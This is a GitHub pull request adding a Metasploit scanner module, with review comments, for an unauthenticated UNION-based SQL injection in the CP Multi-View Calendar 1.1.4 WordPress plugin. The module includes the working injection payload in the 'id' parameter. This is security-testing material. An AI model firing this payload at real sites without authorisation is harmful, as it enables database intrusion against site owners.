-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Create wordpress_cp_calendar_sqli.rb scanner #5167
Merged
Merged
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
75 changes: 75 additions & 0 deletions
75
modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'uri' | ||
require 'msf/core' | ||
|
||
class Metasploit4 < Msf::Auxiliary | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Scanner | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner', | ||
'Description' => %q{ | ||
This module will scan given instances for an unauthenticated SQL injection | ||
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress. | ||
}, | ||
'Author' => | ||
[ | ||
'Joaquin Ramirez Martinez', #discovery | ||
'bperry' #metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'EDB', '36243'], | ||
[ 'WPVDB', '7910' ] | ||
], | ||
'DisclosureDate' => 'Mar 03 2015')) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/']) | ||
], self.class) | ||
end | ||
|
||
def run_host(ip) | ||
right_marker = Rex::Text.rand_text_alpha(5) | ||
left_marker = Rex::Text.rand_text_alpha(5) | ||
flag = Rex::Text.rand_text_alpha(5) | ||
|
||
vprint_status("#{peer} - Checking host") | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/'), | ||
'vars_get' => { | ||
'action' => 'data_management', | ||
'cpmvc_do_action' => 'mvparse', | ||
'f' => 'edit', | ||
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" | ||
} | ||
}) | ||
|
||
unless res && res.body | ||
vprint_error("#{peer} - Server did not respond in an expected way") | ||
return | ||
end | ||
|
||
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/ | ||
|
||
if result | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You can use: There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I feel like this is more readable. |
||
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress") | ||
report_vuln({ | ||
:host => rhost, | ||
:port => rport, | ||
:proto => 'tcp', | ||
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress", | ||
:refs => self.references.select { |ref| ref.ctx_val == "36243" } | ||
}) | ||
end | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
How is wordpress, can use the Msf::HTTP::Wordpress.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not sure what this would buy me, don't need fingerprinting or authentication... Can certainly add if there is a benefit though.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@brandonprry jeah there is no benefit in this module when using the wordpress mixin. But you could include it and write a check method calling
check_plugin_version_from_readme
(https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/http/wordpress/version.rb#L50). But as this module only checks for the SQLI without exploiting it, the main method already acts as a "check method".There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It technically does exploit the vuln in order to check the validity of the vuln :)
It also isn't a wordpress vuln per se, just a plugin for wordpress, the version of wordpress itself doesn't matter.
In any case, I agree, the scanner is essentially its own check method.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
check_plugin_version_from_readme
checks the plugins readme and extracts the version number (not the version from wordpress itself). So if you call it withcheck_plugin_version_from_readme('cp-multi-view-calendar', fixed_in_version)
it will say vulnerable or not only determined by the plugins versionThere was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Oh, I see. I misunderstood.